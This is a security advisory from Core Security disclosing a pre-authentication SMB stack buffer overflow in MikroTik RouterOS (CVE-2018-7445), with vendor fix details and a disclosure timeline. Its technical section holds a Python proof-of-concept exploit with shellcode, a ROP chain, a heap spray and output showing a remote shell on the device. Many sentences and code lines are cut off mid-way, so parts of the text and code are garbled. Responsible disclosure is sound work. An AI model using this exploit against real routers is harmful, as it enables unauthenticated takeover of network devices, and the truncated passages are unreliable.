MikroTik RouterOS SMB Buffer Overflow

A buffer overflow was found in the MikroTik RouterOS SMB service when processing NetBIOS session request messages. Remote attackers with access to the service can exploit this vulnerability and gain code execution on the system. The overflow occurs before authentication takes place, so it is possible for an unauthenticated remote attacker to exploit it.

MD5 | b7e22648d2a91d8ab369593f7eabdb11

Core Security - Corelabs Advisory

MikroTik RouterOS SMB Buffer Overflow

1. **Advisory Information**

Title: MikroTik RouterOS SMB Buffer Overflow
Advisory ID: CORE-2018-0003
Advisory URL:
Date published: 2018-03-15
Date of last update: 2018-03-01
Vendors contacted: MikroTik
Release mode: Coordinated release

2. **Vulnerability Information**

Class: Stack-based Buffer Overflow [CWE-121]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2018-7445

3. **Vulnerability Description***
MikroTik is a Latvian company which was founded in 1996 to develop routers
and wireless ISP systems. MikroTik now provides hardware and software for
Internet connectivity in most of the countries around the world. RouterOS
is MikroTik's stand-alone operating system based on Linux v3.3.5 kernel.

A buffer overflow was found in the MikroTik RouterOS SMB service when
processing NetBIOS session request messages. Remote attackers with access
to the service can exploit this vulnerability and gain code execution on
the system. The overflow occurs before authentication takes place, so it
is possible for an unauthenticated remote attacker to exploit it.

4. **Vulnerable Packages**

. All architectures and all devices running RouterOS before versions

5. **Vendor Information, Solutions and Workarounds**
. MikroTik released version 6.41.3 of RouterOS [1] that fixes the reported
. The workaround suggested by MikroTik in case it is not possible to
install an update consists of disabling the SMB service.

6. **Credits**

This vulnerability was discovered and researched by Juan Caillava and
Maximiliano Vidal from Core Security Consulting Services. The publication
of this advisory was coordinated by Leandro Cuozzo from Core Advisories

7. **Technical Description / Proof of Concept Code***
The overflow takes place in the function in charge of parsing NetBIOS names,
which receives two stack allocated buffers as parameters. As an example
reference, this function is located at address 0x08054607 on the x86 SMB
binary version 6.40.5.

The first byte of the source buffer is read and used as the size for the
copy operation. The function then copies that amount of bytes into the
destination buffer. Once that is done, the next byte of the source buffer
is read and used as the new size. This loop finishes when the size to copy
is equal to zero. No validation is done to ensure that the data fits on
the destination buffer, resulting in a stack overflow.

Simplified pseudo-code of the vulnerable function:

int parse_names(char *dst, char *src) {
int len;
int i;
int offset;

// take the length of the first string
len = *src;
offset = 0;

while (len) {
// copy the bytes of the string into the destination buffer
for (i = offset; (i - offset) < len; ++i) {
dst[i] = src[i+1];

// take the length of the next string
len = src[i+1];

// if it exists, then add a separator
if (len) {
dst[i] = ".";

// start over with the next string
offset = i + 1;

// nul-terminate the string
dst[offset] = 0;

return offset;

It is possible to reach this function by sending a NetBIOS session request
message. We will demonstrate code execution targeting the x86 Cloud Hosted
Router and develop a proof of concept exploit.

How to approach the exploitation depends on the specifics of the targeted
device and architecture. In the case of Cloud Hosted Router on x86, we
will have to deal with DEP and ASLR.

In order to bypass DEP, we will build a ROP chain to call 'mprotect' and
mark a memory region as both writable and executable. In terms of ASLR,
we found that even though the base address of the stack and the loaded
libraries was randomized, the base address of the heap was not. Therefore,
it is possible to store a large payload on the heap to act as a NOP sled
right before triggering the vulnerable function and jump to a fixed
location in this region. Our testing showed this approach to be extremely

The proof of concept exploit presented below illustrates this process,
reusing the connection socket to spawn a shell and execute arbitrary
commands on the system.

#!/usr/bin/env python

import socket
import struct
import sys
import telnetlib


# trick from http://shell-storm.org/shellcode/files/shellcode-881.php
# will place the socket file descriptor in eax
find_sock_fd = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48"

# dup stdin-stdout-stderr so we can reuse the existing connection
dup_fds = "\x89\xc3\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9"

# execve - cannot pass the 2nd arg as NULL or busybox will complain
execve_bin_sh =

# build shellcode
shellcode = find_sock_fd + dup_fds + execve_bin_sh

# rop to mprotect and make the heap executable
# the heap base is not being subject to ASLR for whatever reason, so
let's take advantage of it
p = lambda x : struct.pack('I', x)

rop = ""
rop += p(0x0804c39d) # 0x0804c39d: pop ebx; pop ebp; ret;
rop += p(0x08072000) # ebx -> heap base
rop += p(0xffffffff) # ebp -> gibberish
rop += p(0x080664f5) # 0x080664f5: pop ecx; adc al, 0xf7; ret;
rop += p(0x14000) # ecx -> size for mprotect
rop += p(0x08066f24) # 0x08066f24: pop edx; pop edi; pop ebp; ret;
rop += p(0x00000007) # edx -> permissions for mprotect -> PROT_READ |
rop += p(0xffffffff) # edi -> gibberish
rop += p(0xffffffff) # ebp -> gibberish
rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret;
rop += p(0x0000007d) # ebp -> mprotect system call
rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret;
rop += p(0xffffe42e) # 0xffffe42e; int 0x80; pop ebp; pop edx; pop ecx;
ret - from vdso - not affected by ASLR
rop += p(0xffffffff) # ebp -> gibberish
rop += p(0x0) # edx -> zeroed out
rop += p(0x0) # ecx -> zeroed out
rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret;
rop += p(0x08075802) # ebp -> somewhere on the heap that will (always?)
contain user controlled data
rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret;
rop += p(0x0804e153) # jmp eax; - jump to our shellcode on the heap

offset_to_regs = 83

# we do not really care about the initial register values other than
overwriting the saved ret address
ebx = p(0x45454545)
esi = p(0x45454545)
edi = p(0x45454545)
ebp = p(0x45454545)
eip = p(0x0804886c) # 0x0804886c: ret;

payload = "\xff" * offset_to_regs + ebx + esi + edi + ebp + eip + rop
header = struct.pack("!ccH", NETBIOS_SESSION_REQUEST,
buf = header + payload

def open_connection(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, 139))
return s

def store_payload(s):
print "[+] storing payload on the heap"
s.send((NETBIOS_SESSION_MESSAGE + "\x00\xeb\x02") * 4000 + "\x90" *
16 + shellcode)

def crash_smb(s):
print "[+] getting code execution"

if __name__ == "__main__":
if len(sys.argv) != 2:
print "%s ip" % sys.argv[0]

s = open_connection(sys.argv[1])

# the server closes the first connection, so we need to open another one
t = telnetlib.Telnet()
t.sock = open_connection(sys.argv[1])
print "[+] got shell?"

The following excerpt shows the successful exploitation of a remote SMB

[[email protected]] > ip smb print
enabled: yes
domain: MSHOME
comment: MikrotikSMB
allow-guests: yes
interfaces: all
[[email protected]] > ip address print
Flags: X - disabled, I - invalid, D - dynamic
0 D ether1

$ python smb_exploit.py
[+] storing payload on the heap
[+] getting code execution
[+] got shell?
sh: turning off NDELAY mode
uname -a
Linux MikroTik 3.3.5-64 #1 SMP Tue Oct 31 12:39:30 UTC 2017 x86_64 unknown

8. **Report Timeline**
. 2018-02-19: Core Security sent an initial notification to
. 2018-02-19: Core Security noticed that a candidate release addresses
the vulnerability.
. 2018-02-21: MikroTik answered saying that they were planning to release
a final version with a fix for SMB the week of 26th of February and asked
for additional information.
. 2018-02-21: Core Security thanked MikroTik's answer and sent a draft
advisory with a technical description. In addition, Core Security proposed
the release date to be March 1st.
. 2018-02-23: MikroTik confirmed the proposed release date saying that is
a 'perfect' date for them.
. 2018-02-23: Core Security asked MikroTik for a confirmation about the
availability of the fix before the publication date. Also, Core Security
sent the CVE-ID request to Mitre.
. 2018-02-23: MikroTik confirmed the availability of the fix for the
publication date.
. 2018-02-28: Core Security asked MikroTik for a confirmation about the
release of the fixed version again.
. 2018-02-28: MikroTik answered saying that they had some issues and asked
for an extension of one week.
. 2018-02-28: Core Security analyzed the possibility of postponing the
publication date and asked MikroTik for a new release date.
. 2018-03-01: MikroTik answered that they didn't have a certain release
date for their fix.
. 2018-03-01: Core Security requested a solidified release date for
coordinated disclosure. Agreed to postpone till March 8th.
. 2018-03-01: MikroTik answered saying they understand it's their fault
and if they don't release the fixed version in time, we might have to
release our document.
. 2018-03-02: Core Security thanked the update and asked again about the
planned release date.
. 2018-03-05: MikroTik answered that they still don't have a certain
release date for their fix.
. 2018-03-05: Core Security answered saying the one week postponed was
proposed by Mikrotik, yet they still cannot commit to a release date.
Core Security clarified again the intention is to do a coordinated release,
but in order to do that it is needed a tentative release date.
. 2018-03-12: Core Security noticed that a new version of MikroTik RouterOS
were available and asked MikroTik if this version fixed the
. 2018-03-12: MikroTik confirmed that the published version addresses the
reported vulnerability.
. 2018-03-15: Advisory CORE-2018-0003 published.

9. **References**

[1] https://mikrotik.com/download.

10. **About CoreLabs**

CoreLabs, the research center of Core Security, is charged with
the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at: http://corelabs.coresecurity.com.

11. **About Core Security**

Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The company's
threat-aware, identity & access, network security, and vulnerability
management solutions provide actionable insight and context needed to manage
security risks across the enterprise. This shared insightmgives customers
a comprehensive view of their security posture to make better security
remediation decisions. Better insight allows organizations to prioritize
their efforts to protect critical assets, take action sooner to mitigate
access risk, and react faster if a breach does occur.

Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or [email protected]

12. **Disclaimer**

The contents of this advisory are copyright (c) 2018 Core Security and
(c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:

13. **PGP/GPG Keys**

This advisory has been signed with the GPG key of Core Security advisories
team, which is available for download at

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